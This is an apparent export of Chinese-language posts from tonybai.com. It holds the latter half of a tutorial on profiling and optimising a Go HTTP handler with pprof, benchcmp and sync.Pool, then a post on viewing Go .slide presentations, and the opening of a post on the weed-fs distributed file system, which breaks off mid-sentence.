_/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step3 6.540s\n$ go tool pprof step3.test prof.cpu\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top –cum 30\n2.74s of 8.07s total (33.95%)\nDropped 72 nodes (cum \u0026lt;= 0.04s)\nShowing top 30 nodes out of 103 (cum \u0026gt;= 0.56s)\nflat flat% sum% cum cum%\n0 0% 0% 7.17s 88.85% runtime.goexit\n0.05s 0.62% 0.62% 6.21s 76.95% step3.BenchmarkHi\n0 0% 0.62% 6.21s 76.95% testing.(*B).launch\n0 0% 0.62% 6.21s 76.95% testing.(*B).runN\n0.06s 0.74% 1.36% 4.96s 61.46% step3.handleHi\n1.15s 14.25% 15.61% 2.35s 29.12% runtime.mallocgc\n0.02s 0.25% 15.86% 1.63s 20.20% runtime.systemstack\n0 0% 15.86% 1.53s 18.96% net/http.Header.Set\n0.06s 0.74% 16.60% 1.53s 18.96% net/textproto.MIMEHeader.Set\n0.09s 1.12% 17.72% 1.22s 15.12% runtime.newobject\n0.05s 0.62% 18.34% 1.09s 13.51% fmt.Sprint\n0.20s 2.48% 20.82% 1s 12.39% runtime.mapassign1\n0 0% 20.82% 0.81s 10.04% runtime.mcall\n0.01s 0.12% 20.94% 0.79s 9.79% runtime.schedule\n0.05s 0.62% 21.56% 0.76s 9.42% regexp.(*Regexp).MatchString\n0.09s 1.12% 22.68% 0.71s 8.80% regexp.(*Regexp).doExecute\n0.01s 0.12% 22.80% 0.71s 8.80% runtime.concatstring5\n0.20s 2.48% 25.28% 0.70s 8.67% runtime.concatstrings\n0 0% 25.28% 0.69s 8.55% runtime.gosweepone\n0.05s 0.62% 25.90% 0.69s 8.55% runtime.mSpan_Sweep\n0 0% 25.90% 0.68s 8.43% runtime.bgsweep\n0.04s 0.5% 26.39% 0.68s 8.43% runtime.newarray\n0.01s 0.12% 26.52% 0.67s 8.30% runtime.goschedImpl\n0.01s 0.12% 26.64% 0.65s 8.05% runtime.gosched_m\n0 0% 26.64% 0.65s 8.05% runtime.gosweepone.func1\n0.01s 0.12% 26.77% 0.65s 8.05% runtime.sweepone\n0.28s 3.47% 30.24% 0.62s 7.68% runtime.makemap\n0.17s 2.11% 32.34% 0.59s 7.31% runtime.heapBitsSweepSpan\n0.02s 0.25% 32.59% 0.58s 7.19% fmt.(*pp).doPrint\n0.11s 1.36% 33.95% 0.56s 6.94% fmt.(*pp).printArg\nhandleHi耗时有一定下降。\n七、Mem Profiling\n在step3目录下执行bench，获取mem分配数据：\n$ go test -v -run=^$ -bench=^BenchmarkHi$ -benchtime=2s -memprofile=prof.mem\nPASS\nBenchmarkHi-4 2000000 1657 ns/op 720 B/op 9 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step3 5.002s\n使用pprof工具分析mem：\n$ go tool pprof –alloc_space step3.test prof.mem\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top\n2065.91MB of 2067.41MB total (99.93%)\nDropped 14 nodes (cum \u0026lt;= 10.34MB)\nflat flat% sum% cum cum%\n1076.35MB 52.06% 52.06% 1076.35MB 52.06% net/textproto.MIMEHeader.Set\n535.54MB 25.90% 77.97% 2066.91MB 100% step3.BenchmarkHi\n406.52MB 19.66% 97.63% 1531.37MB 74.07% step3.handleHi\n47.50MB 2.30% 99.93% 48.50MB 2.35% fmt.Sprint\n0 0% 99.93% 1076.35MB 52.06% net/http.Header.Set\n0 0% 99.93% 2066.91MB 100% runtime.goexit\n0 0% 99.93% 2066.91MB 100% testing.(*B).launch\n0 0% 99.93% 2066.91MB 100% testing.(*B).runN\n(pprof) top -cum\n2065.91MB of 2067.41MB total (99.93%)\nDropped 14 nodes (cum \u0026lt;= 10.34MB)\nflat flat% sum% cum cum%\n535.54MB 25.90% 25.90% 2066.91MB 100% step3.BenchmarkHi\n0 0% 25.90% 2066.91MB 100% runtime.goexit\n0 0% 25.90% 2066.91MB 100% testing.(*B).launch\n0 0% 25.90% 2066.91MB 100% testing.(*B).runN\n406.52MB 19.66% 45.57% 1531.37MB 74.07% step3.handleHi\n0 0% 45.57% 1076.35MB 52.06% net/http.Header.Set\n1076.35MB 52.06% 97.63% 1076.35MB 52.06% net/textproto.MIMEHeader.Set\n47.50MB 2.30% 99.93% 48.50MB 2.35% fmt.Sprint\n(pprof) list handleHi\nTotal: 2.02GB\nROUTINE =========step3.handleHi in step3/demo.go\n406.52MB 1.50GB (flat, cum) 74.07% of Total\n. . 17: http.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\n. . 18: return\n. . 19: }\n. . 20:\n. . 21: visitNum := atomic.AddInt64(\u0026amp;visitors, 1)\n. 1.05GB 22: w.Header().Set(\u0026ldquo;Content-Type\u0026rdquo;, \u0026ldquo;text/html; charset=utf-8\u0026rdquo;)\n. . 23: w.Write([]byte(\u0026quot;Welcome!You are visitor number \u0026quot; + fmt.Sprint(visitNum) + \u0026ldquo;!\u0026rdquo;))\n. . 25:}\n. . 26:\n. . 27:func main() {\n. . 28: log.Printf(\u0026ldquo;Starting on port 8080\u0026rdquo;)\n. . 29: http.HandleFunc(\u0026quot;/hi\u0026quot;, handleHi)\n(pprof)\n可以看到handleHi22、23两行占用了较多内存。\n八、第二次优化\n第二次优化的方法：\n1、删除w.Header().Set这行\n2、用fmt.Fprintf替代w.Write\n第二次优化的代码在step4目录中：\n// go-debug-profile-optimization/step4/demo.go\n… …\nfunc handleHi(w http.ResponseWriter, r *http.Request) {\nif !rxOptionalID.MatchString(r.FormValue(\u0026ldquo;color\u0026rdquo;)) {\nhttp.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\nreturn\n}\nvisitNum := atomic.AddInt64(\u0026amp;visitors, 1)\nfmt.Fprintf(w, \u0026ldquo;Welcome!You are visitor number %d!\u0026rdquo;, r.FormValue(\u0026ldquo;color\u0026rdquo;), visitNum)\n}\n… …\n执行一遍pprof:\n$ go test -v -run=^$ -bench=^BenchmarkHi$ -benchtime=2s -memprofile=prof.mem\nPASS\nBenchmarkHi-4 2000000 1428 ns/op 304 B/op 6 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step4 4.343s\n$ go tool pprof –alloc_space step4.test prof.mem\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top\n868.06MB of 868.56MB total (99.94%)\nDropped 5 nodes (cum \u0026lt;= 4.34MB)\nflat flat% sum% cum cum%\n559.54MB 64.42% 64.42% 868.06MB 99.94% step4.BenchmarkHi\n219.52MB 25.27% 89.70% 219.52MB 25.27% bytes.makeSlice\n89MB 10.25% 99.94% 308.52MB 35.52% step4.handleHi\n0 0% 99.94% 219.52MB 25.27% bytes.(*Buffer).Write\n0 0% 99.94% 219.52MB 25.27% bytes.(*Buffer).grow\n0 0% 99.94% 219.52MB 25.27% fmt.Fprintf\n0 0% 99.94% 219.52MB 25.27% net/http/httptest.(*ResponseRecorder).Write\n0 0% 99.94% 868.06MB 99.94% runtime.goexit\n0 0% 99.94% 868.06MB 99.94% testing.(*B).launch\n0 0% 99.94% 868.06MB 99.94% testing.(*B).runN\n(pprof) top –cum\n868.06MB of 868.56MB total (99.94%)\nDropped 5 nodes (cum \u0026lt;= 4.34MB)\nflat flat% sum% cum cum%\n559.54MB 64.42% 64.42% 868.06MB 99.94% step4.BenchmarkHi\n0 0% 64.42% 868.06MB 99.94% runtime.goexit\n0 0% 64.42% 868.06MB 99.94% testing.(*B).launch\n0 0% 64.42% 868.06MB 99.94% testing.(*B).runN\n89MB 10.25% 74.67% 308.52MB 35.52% step4.handleHi\n0 0% 74.67% 219.52MB 25.27% bytes.(*Buffer).Write\n0 0% 74.67% 219.52MB 25.27% bytes.(*Buffer).grow\n219.52MB 25.27% 99.94% 219.52MB 25.27% bytes.makeSlice\n0 0% 99.94% 219.52MB 25.27% fmt.Fprintf\n0 0% 99.94% 219.52MB 25.27% net/http/httptest.(*ResponseRecorder).Write\n(pprof) list handleHi\nTotal: 868.56MB\nROUTINE ============ step4.handleHi in step4/demo.go\n89MB 308.52MB (flat, cum) 35.52% of Total\n. . 17: http.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\n. . 18: return\n. . 19: }\n. . 20:\n. . 21: visitNum := atomic.AddInt64(\u0026amp;visitors, 1)\n89MB 308.52MB 22: fmt.Fprintf(w, \u0026ldquo;Welcome!You are visitor number %d!\u0026rdquo;, r.FormValue(\u0026ldquo;color\u0026rdquo;), visitNum)\n. . 23:}\n. . 24:\n. . 25:func main() {\n. . 26: log.Printf(\u0026ldquo;Starting on port 8080\u0026rdquo;)\n. . 27: http.HandleFunc(\u0026quot;/hi\u0026quot;, handleHi)\n(pprof)\n可以看出内存占用大幅减少。\n九、Benchcmp\ngolang.org/x/tools中有一个工具：benchcmp，可以给出两次bench的结果对比。\ngithub.com/golang/tools是golang.org/x/tools的一个镜像。安装benchcmp步骤：\n1、go get -u github.com/golang/tools\n2、mkdir -p $GOPATH/src/golang.org/x\n3、mv $GOPATH/src/github.com/golang/tools $GOPATH/src/golang.org/x\n4、go install golang.org/x/tools/cmd/benchcmp\n我们分别在step2、step3和step4下执行如下命令：\n$ go-debug-profile-optimization/step2$ go test -bench=. -memprofile=prof.mem | tee mem.2\nPASS\nBenchmarkHi-4 100000 14786 ns/op 4961 B/op 81 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step2 1.644s\ngo-debug-profile-optimization/step3$ go test -bench=. -memprofile=prof.mem | tee mem.3\nPASS\nBenchmarkHi-4 1000000 1662 ns/op 720 B/op 9 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step3 1.694s\ngo-debug-profile-optimization/step4$ go test -bench=. -memprofile=prof.mem | tee mem.4\nPASS\nBenchmarkHi-4 1000000 1428 ns/op 304 B/op 6 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step4 1.456s\n利用benchcmp工具对比结果（benchcmp old new）：\n$ benchcmp step3/mem.3 step4/mem.4\nbenchmark old ns/op new ns/op delta\nBenchmarkHi-4 1662 1428 -14.08%\nbenchmark old allocs new allocs delta\nBenchmarkHi-4 9 6 -33.33%\nbenchmark old bytes new bytes delta\nBenchmarkHi-4 720 304 -57.78%\n$ benchcmp step2/mem.2 step4/mem.4\nbenchmark old ns/op new ns/op delta\nBenchmarkHi-4 14786 1428 -90.34%\nbenchmark old allocs new allocs delta\nBenchmarkHi-4 81 6 -92.59%\nbenchmark old bytes new bytes delta\nBenchmarkHi-4 4961 304 -93.87%\n可以看出优化后，内存分配大幅减少，gc的时间也随之减少。\n十、内存来自哪\n我们在BenchmarkHi中清理每次handleHi执行后的内存：\n//step5/demo_test.go\n… …\nfunc BenchmarkHi(b *testing.B) {\nb.ReportAllocs()\nreq, err := http.ReadRequest(bufio.NewReader(strings.NewReader(\u0026ldquo;GET / HTTP/1.0\\r\\n\\r\\n\u0026rdquo;)))\nif err != nil {\nb.Fatal(err)\n}\nfor i := 0; i \u0026lt; b.N; i++ {\nrw := httptest.NewRecorder()\nhandleHi(rw, req)\nreset(rw)\n}\n}\nfunc reset(rw *httptest.ResponseRecorder) {\nm := rw.HeaderMap\nfor k := range m {\ndelete(m, k)\n}\nbody := rw.Body\nbody.Reset()\n*rw = httptest.ResponseRecorder{\nBody: body,\nHeaderMap: m,\n}\n}\n… …\n$ go test -v -run=^$ -bench=^BenchmarkHi$ -benchtime=2s -memprofile=prof.mem\nPASS\nBenchmarkHi-4 2000000 1518 ns/op 304 B/op 6 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step5 4.577s\n$ go tool pprof –alloc_space step5.test prof.mem\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top –cum 10\n290.52MB of 291.52MB total (99.66%)\nDropped 14 nodes (cum \u0026lt;= 1.46MB)\nflat flat% sum% cum cum%\n0 0% 0% 291.02MB 99.83% runtime.goexit\n179.01MB 61.41% 61.41% 290.52MB 99.66% step5.BenchmarkHi\n0 0% 61.41% 290.52MB 99.66% testing.(*B).launch\n0 0% 61.41% 290.52MB 99.66% testing.(*B).runN\n26.50MB 9.09% 70.50% 111.51MB 38.25% step5.handleHi\n0 0% 70.50% 85.01MB 29.16% bytes.(*Buffer).Write\n0 0% 70.50% 85.01MB 29.16% bytes.(*Buffer).grow\n85.01MB 29.16% 99.66% 85.01MB 29.16% bytes.makeSlice\n0 0% 99.66% 85.01MB 29.16% fmt.Fprintf\n0 0% 99.66% 85.01MB 29.16% net/http/httptest.(*ResponseRecorder).Write\n(pprof) list handleHi\nTotal: 291.52MB\nROUTINE ======================== _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step5.handleHi in /home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step5/demo.go\n26.50MB 111.51MB (flat, cum) 38.25% of Total\n. . 17: http.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\n. . 18: return\n. . 19: }\n. . 20:\n. . 21: visitNum := atomic.AddInt64(\u0026amp;visitors, 1)\n26.50MB 111.51MB 22: **fmt.Fprintf(**w, \u0026ldquo;Welcome!You are visitor number %d!\u0026rdquo;, r.FormValue(\u0026ldquo;color\u0026rdquo;), visitNum)\n. . 23:}\n. . 24:\n. . 25:func main() {\n. . 26: log.Printf(\u0026ldquo;Starting on port 8080\u0026rdquo;)\n. . 27: http.HandleFunc(\u0026quot;/hi\u0026quot;, handleHi)\n(pprof)\n内存从300MB降到111MB。内存来自哪？看到list handleHi，fmt.Fprintf分配了111.51MB。\n我们来看这一行代码：\nfmt.Fprintf(w, \u0026ldquo;Welcome!You are visitor number %d!\u0026rdquo;,\nr.FormValue(\u0026ldquo;color\u0026rdquo;), num)\nfmt.Fprintf的manual：\n$ go doc fmt.Fprintf\nfunc Fprintf(w io.Writer, format string, a …interface{}) (n int, err error)\nFprintf formats according to a format specifier and writes to w. It returns\nthe number of bytes written and any write error encountered.\n这里回顾一下Go type在runtime中的内存占用：\nA Go interface is 2 words of memory: (type, pointer).\nA Go string is 2 words of memory: (base pointer, length)\nA Go slice is 3 words of memory: (base pointer, length, capacity)\n每次调用fmt.Fprintf，参数以value值形式传入函数时，程序就要为每个变参分配一个占用16bytes的empty interface，然后用传入的类型初始化该interface value。这就是这块累计分配内存较多的原因。\n**十一、**消除所有内存分配\n下面的优化代码可能在实际中并不需要，但一旦真的成为瓶颈，可以这么做：\n//go-debug-profile-optimization/step6/demo.go\n… …\nvar bufPool = sync.Pool{\nNew: func() interface{} {\nreturn new(bytes.Buffer)\n},\n}\nfunc handleHi(w http.ResponseWriter, r *http.Request) {\nif !rxOptionalID.MatchString(r.FormValue(\u0026ldquo;color\u0026rdquo;)) {\nhttp.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\nreturn\n}\nvisitNum := atomic.AddInt64(\u0026amp;visitors, 1)\nbuf := bufPool.Get().(*bytes.Buffer)\ndefer bufPool.Put(buf)\nbuf.Reset()\nbuf.WriteString(\u0026quot;Welcome!You are visitor number \u0026ldquo;)\nb := strconv.AppendInt(buf.Bytes(), int64(visitNum), 10)\nb = append(b, \u0026lsquo;!\u0026rsquo;)\nw.Write(b)\n}\n… …\n$ go test -v -run=^$ -bench=^BenchmarkHi$ -benchtime=2s -memprofile=prof.mem\nPASS\nBenchmarkHi-4 5000000 780 ns/op 192 B/op 3 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step6 4.709s\ngo tool pprof –alloc_space step6.test prof.mem\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top –cum 10\n1.07GB of 1.07GB total ( 100%)\nDropped 5 nodes (cum \u0026lt;= 0.01GB)\nflat flat% sum% cum cum%\n1.07GB 100% 100% 1.07GB 100% step6.BenchmarkHi\n0 0% 100% 1.07GB 100% runtime.goexit\n0 0% 100% 1.07GB 100% testing.(*B).launch\n0 0% 100% 1.07GB 100% testing.(*B).runN\n$ go test -bench=. -memprofile=prof.mem | tee mem.6\nPASS\nBenchmarkHi-4 2000000 790 ns/op 192 B/op 3 allocs/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step6 2.401s\n$ benchcmp step5/mem.5 step6/mem.6\nbenchmark old ns/op new ns/op delta\nBenchmarkHi-4 1513 790 -47.79%\nbenchmark old allocs new allocs delta\nBenchmarkHi-4 6 3 -50.00%\nbenchmark old bytes new bytes delta\nBenchmarkHi-4 304 192 -36.84%\n可以看到handleHi已经不在top列表中了。benchcmp结果也显示内存分配又有大幅下降！\n十二、竞争(Contention)优化\n为handleHi编写一个Parallel benchmark test:\n//go-debug-profile-optimization/step7/demo_test.go\n… …\nfunc BenchmarkHiParallel(b *testing.B) {\nr, err := http.ReadRequest(bufio.NewReader(strings.NewReader(\u0026ldquo;GET / HTTP/1.0\\r\\n\\r\\n\u0026rdquo;)))\nif err != nil {\nb.Fatal(err)\n}\nb.RunParallel(func(pb *testing.PB) {\nrw := httptest.NewRecorder()\nfor pb.Next() {\nhandleHi(rw, r)\nreset(rw)\n}\n})\n}\n… …\n执行测试，并分析结果:\n$ go test -bench=Parallel -blockprofile=prof.block\nPASS\nBenchmarkHiParallel-4 5000000 305 ns/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step7 1.947s\n$ go tool pprof step7.test prof.block\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top –cum 10\n3.68s of 3.72s total (98.82%)\nDropped 29 nodes (cum \u0026lt;= 0.02s)\nShowing top 10 nodes out of 20 (cum \u0026gt;= 1.84s)\nflat flat% sum% cum cum%\n0 0% 0% 3.72s 100% runtime.goexit\n1.84s 49.46% 49.46% 1.84s 49.46% runtime.chanrecv1\n0 0% 49.46% 1.84s 49.46% main.main\n0 0% 49.46% 1.84s 49.46% runtime.main\n0 0% 49.46% 1.84s 49.46% testing.(*M).Run\n0 0% 49.46% 1.84s 49.43% testing.(*B).run\n0 0% 49.46% 1.84s 49.43% testing.RunBenchmarks\n0 0% 49.46% 1.84s 49.36% step7.BenchmarkHiParallel\n1.84s 49.36% 98.82% 1.84s 49.36% sync.(*WaitGroup).Wait\n0 0% 98.82% 1.84s 49.36% testing.(*B).RunParallel\n(pprof) list BenchmarkHiParallel\nTotal: 3.72s\nROUTINE ====== step7.BenchmarkHiParallel in step7/demo_test.go\n0 1.84s (flat, cum) 49.36% of Total\n. . 113: rw := httptest.NewRecorder()\n. . 114: for pb.Next() {\n. . 115: handleHi(rw, r)\n. . 116: reset(rw)\n. . 117: }\n. 1.84s 118: })\n. . 119:}\nROUTINE ==== step7.BenchmarkHiParallel.func1 in step7/demo_test.go\n0 43.02ms (flat, cum) 1.16% of Total\n. . 110: }\n. . 111:\n. . 112: b.RunParallel(func(pb *testing.PB) {\n. . 113: rw := httptest.NewRecorder()\n. . 114: for pb.Next() {\n. 43.02ms 115: handleHi(rw, r)\n. . 116: reset(rw)\n. . 117: }\n. . 118: })\n. . 119:}\n(pprof) list handleHi\nTotal: 3.72s\nROUTINE =====step7.handleHi in step7/demo.go\n0 43.02ms (flat, cum) 1.16% of Total\n. . 18: return new(bytes.Buffer)\n. . 19: },\n. . 20:}\n. . 21:\n. . 22:func handleHi(w http.ResponseWriter, r *http.Request) {\n. 43.01ms 23: if !rxOptionalID.MatchString(r.FormValue(\u0026ldquo;color\u0026rdquo;)) {\n. . 24: http.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\n. . 25: return\n. . 26: }\n. . 27:\n. . 28: visitNum := atomic.AddInt64(\u0026amp;visitors, 1)\n. 2.50us 29: buf := bufPool.Get().(*bytes.Buffer)\n. . 30: defer bufPool.Put(buf)\n. . 31: buf.Reset()\n. . 32: buf.WriteString(\u0026quot;Welcome!You are visitor number \u0026ldquo;)\n(pprof)\nhandleHi中MatchString这块是一个焦点，这里耗时较多。\n优化方法（step8）：\n//go-debug-profile-optimization/step8/demo.go\n… …\nvar colorRxPool = sync.Pool{\nNew: func() interface{} { return regexp.MustCompile(`\\w*$`) },\n}\nfunc handleHi(w http.ResponseWriter, r *http.Request) {\nif !colorRxPool.Get().(*regexp.Regexp).MatchString(r.FormValue(\u0026ldquo;color\u0026rdquo;)) {\nhttp.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\nreturn\n}\nvisitNum := atomic.AddInt64(\u0026amp;visitors, 1)\nbuf := bufPool.Get().(*bytes.Buffer)\ndefer bufPool.Put(buf)\nbuf.Reset()\nbuf.WriteString(\u0026quot;Welcome!You are visitor number \u0026ldquo;)\nb := strconv.AppendInt(buf.Bytes(), int64(visitNum), 10)\nb = append(b, \u0026lsquo;!\u0026rsquo;)\nw.Write(b)\n}\n… …\n测试执行与分析：\n$ go test -bench=Parallel -blockprofile=prof.block\nPASS\nBenchmarkHiParallel-4 100000 19190 ns/op\nok _/home1/tonybai/proj/opensource/github/experiments/go-debug-profile-optimization/step8 2.219s\n$ go tool pprof step8.test prof.block\nEntering interactive mode (type \u0026ldquo;help\u0026rdquo; for commands)\n(pprof) top –cum 10\n4.22s of 4.23s total (99.69%)\nDropped 28 nodes (cum \u0026lt;= 0.02s)\nShowing top 10 nodes out of 12 (cum \u0026gt;= 2.11s)\nflat flat% sum% cum cum%\n0 0% 0% 4.23s 100% runtime.goexit\n2.11s 49.90% 49.90% 2.11s 49.90% runtime.chanrecv1\n0 0% 49.90% 2.11s 49.89% main.main\n0 0% 49.90% 2.11s 49.89% runtime.main\n0 0% 49.90% 2.11s 49.89% testing.(*M).Run\n0 0% 49.90% 2.11s 49.86% testing.(*B).run\n0 0% 49.90% 2.11s 49.86% testing.RunBenchmarks\n0 0% 49.90% 2.11s 49.79% step8.BenchmarkHiParallel\n2.11s 49.79% 99.69% 2.11s 49.79% sync.(*WaitGroup).Wait\n0 0% 99.69% 2.11s 49.79% testing.(*B).RunParallel\n(pprof) list BenchmarkHiParallel\nTotal: 4.23s\nROUTINE ======step8.BenchmarkHiParallel in step8/demo_test.go\n0 2.11s (flat, cum) 49.79% of Total\n. . 113: rw := httptest.NewRecorder()\n. . 114: for pb.Next() {\n. . 115: handleHi(rw, r)\n. . 116: reset(rw)\n. . 117: }\n. 2.11s 118: })\n. . 119:}\nROUTINE ======step8.BenchmarkHiParallel.func1 in step8/demo_test.go\n0 11.68ms (flat, cum) 0.28% of Total\n. . 110: }\n. . 111:\n. . 112: b.RunParallel(func(pb *testing.PB) {\n. . 113: rw := httptest.NewRecorder()\n. . 114: for pb.Next() {\n. 11.68ms 115: handleHi(rw, r)\n. . 116: reset(rw)\n. . 117: }\n. . 118: })\n. . 119:}\n(pprof) list handleHi\nTotal: 4.23s\nROUTINE ======step8.handleHi in step8/demo.go\n0 11.68ms (flat, cum) 0.28% of Total\n. . 21:var colorRxPool = sync.Pool{\n. . 22: New: func() interface{} { return regexp.MustCompile(`\\w*$`) },\n. . 23:}\n. . 24:\n. . 25:func handleHi(w http.ResponseWriter, r *http.Request) {\n. 5.66ms 26: if !colorRxPool.Get().(*regexp.Regexp).MatchString(r.FormValue(\u0026ldquo;color\u0026rdquo;)) {\n. . 27: http.Error(w, \u0026ldquo;Optional color is invalid\u0026rdquo;, http.StatusBadRequest)\n. . 28: return\n. . 29: }\n. . 30:\n. . 31: visitNum := atomic.AddInt64(\u0026amp;visitors, 1)\n. 6.02ms 32: buf := bufPool.Get().(*bytes.Buffer)\n. . 33: defer bufPool.Put(buf)\n. . 34: buf.Reset()\n. . 35: buf.WriteString(\u0026quot;Welcome!You are visitor number \u0026ldquo;)\n(pprof)\n优化后，MatchString从43ms降到5.66ms。\n","permalink":"https://tonybai.com/2015/08/25/go-debugging-profiling-optimization/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/bradfitz\"\u003eBrad Fitzpatrick\u003c/a\u003e在\u003ca href=\"http://yapcasia.org/\"\u003eYAPC Asia 2015\u003c/a\u003e（Yet Another Perl Conference）上做了一次技术分享，题为：\u0026quot;\u003ca href=\"http://pan.baidu.com/s/1nt8D5oP,\"\u003eGo Debugging, Profiling, and Optimization\u003c/a\u003e\u0026quot;。个人感觉这篇分享中价值最大的是BradFitz现场演示的一个有关如何对\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e程序进行调试、分析和优化的 Demo，Brad将demo上传到了他个人在github.com的\u003ca href=\"https://github.com/bradfitz/talk-%20yapc-asia-2015\"\u003erepo\u003c/a\u003e中，但不知为何，repo中的代码似乎与repo里talk.md中的说明不甚一致(btw，我并没有看video)。于 是打算在这里按照Brad的思路重新走一遍demo的演示流程(所有演示代码在\u003ca href=\"https://github.com/bigwhite/experiments/tree/master/go-debug-profile-optimization\"\u003e这里\u003c/a\u003e可以下载到)。\u003c/p\u003e","title":"Go程序调试、分析与优化"},{"content":"随着go 1.5的发布，golang在世界各地日益受到欢迎，golang技术鼓吹者在世界各地举办各种级别的技术会议(从GopherCon大会到小小的meetup)，并在会议上分享自己的技术心得和技术想法。\nGolang相关的技术幻灯片有多种格式，以.ppt, .pdf和.slide为主。ppt、pdf自然不必多说，需要直接下载查看。\n.slide是随着golang诞生而出现的一种present格式，Go核心开发成员似乎十分喜欢以这种格式分享Go语言。在Golang官方，几乎所有技术会议的talk幻灯片均是以.slide形式提供的。\n.slide文件通过web服务查看，目前似乎尚无本地工具可以render slide文件。\n目前已知的render .slide文件的服务包括：\n- talks.golang.org\n- go-talks.appspot.com\ntalks.golang.org是golang官方的服务，用于查看Go core team发表的各次技术演讲的幻灯片资料，按年份归档。\n其他Go开发者用.slide形式编写的文件可以放在自己的github.com repo中，并使用go-talks.appspot.com这个第三方服务render。\n比如：Dave Cheney将自己的performance-without-the-event-loop.slide存放在 github.com/davecheney/presentations下，那我们就可以通过如下url查看该slide render后的形式：\nhttp://go-talks.appspot.com/github.com/davecheney/presentations/performance-without-the-event-loop.slide\n不过由于appspot.com是Go appengine托管服务，国内无法访问，因此前期搭建了一个go-talks的镜像go-talks.tonybai.com，国内程序员可以无需fanqiang就可以访问(由于go-talks.tonybai.com托管主机内存不大，常常出现超时甚至crash现象，望谅解)。\n因此要想看到上述slide，可以访问：\nhttp://go-talks.tonybai.com/github.com/davecheney/presentations/performance-without-the-event-loop.slide\n对于talks.golang.org上的slide，比如：\nhttp://talks.golang.org/2015/gogo.slide\n如果无法fanqiang又如何访问呢？这样行么？\nhttp://go-talks.tonybai.com/talks.golang.org/2015/gogo.slide\n结果告诉我们这样是不行的。那如何访问呢？\n好在talks.golang.org上的slide都放在了github.com上，repo为https://github.com/golang/talks，上述那个gogo.slide，我们可以通过：\nhttp://go-talks.tonybai.com/github.com/github.com/golang/talks/2015/gogo.slide访问。\n补充：\n“相濡以沫”网友在评论中给出了一种在本地查看.slide的方法：\n1、go get -u golang.org/x/tools/cmd/present //需翻墙\n2、go install golang.org/x/tools/cmd/present，将present可执行程序放入$GOBIN或$GOPATH/bin中\n3、下载你要查看的.slide，比如go get github.com/golang/talks，cd到talks所在目录，执行./present，你会看到如下结果：\n$present\n2015/08/23 19:34:51 Open your web browser and visit http://127.0.0.1:3999\n打开浏览器，如果要查看当前目录下的2015/tricks.slide，则在浏览器里输入：http://127.0.0.1:3999/2015/tricks.slide即可查看该.slide文件。\n","permalink":"https://tonybai.com/2015/08/22/how-to-view-golang-tech-slide/","summary":"\u003cp\u003e随着\u003ca href=\"http://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003ego 1.5\u003c/a\u003e的发布，\u003ca href=\"http://tonybai.com/tag/golang\"\u003egolang\u003c/a\u003e在世界各地日益受到欢迎，\u003ca href=\"http://golang.org/\"\u003egolang\u003c/a\u003e技术鼓吹者在世界各地举办各种级别的技术会议(从\u003ca href=\"http://www.gophercon.com/\"\u003eGopherCon\u003c/a\u003e大会到小小的meetup)，并在会议上分享自己的技术心得和技术想法。\u003c/p\u003e\n\u003cp\u003eGolang相关的技术幻灯片有多种格式，以.ppt, .pdf和.slide为主。ppt、pdf自然不必多说，需要直接下载查看。\u003c/p\u003e","title":"Golang技术幻灯片的查看方法"},{"content":"weed-fs，全名Seaweed-fs，是一种用golang实现的简单且高可用的分布式文件系统。该系统的目标有二：\n- 存储billions of files\n- serve the files fast\nweed-fs起初是为了搞一个基于Fackbook的Haystack论文的实现，Haystack旨在优化Fackbook内部图片存储和获取。后在这个基 础上，weed-fs作者又增加了若干feature，形成了目前的weed-fs。\n这里并不打算深入分析weed-fs源码，仅仅是从黑盒角度介绍weed-fs的使用，发掘weed-fs的功能、长处和不足。\n一、weed-fs集群简介\nweed-fs集群的拓扑(Topology)由DataCenter、Rack(机架)、Machine(或叫Node)组成。最初版本的weed-fs应该可以通 过配置文件来描述整个集群的拓扑结构，配置文件采用xml格式，官方给出的样例如下：\n192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 但目前的版本中，该配置文件在help说明中被置为“Deprecating!”了：\n$weed master -help\n…\n-conf=\u0026quot;/etc/weedfs/weedfs.conf\u0026quot;: Deprecating! xml configuration file\n…\n0.70版本的weed-fs在Master中维护集群拓扑，master会根据master与master、volume与master的连接 情况实时合成拓扑结构了。\nweed-fs自身可以在两种模式下运行，一种是Master，另外一种则是Volume。集群的维护以及强一致性的保证由master们保 证，master间通过raft协议实现强一致性。Volume是实际管理和存储数据的运行实例。数据的可靠性则可以通过weed-fs提供的 replication机制保证。\nweed-fs提供了若干种replication策略(rack – 机架，一个逻辑上的概念)：\n000 no replication, just 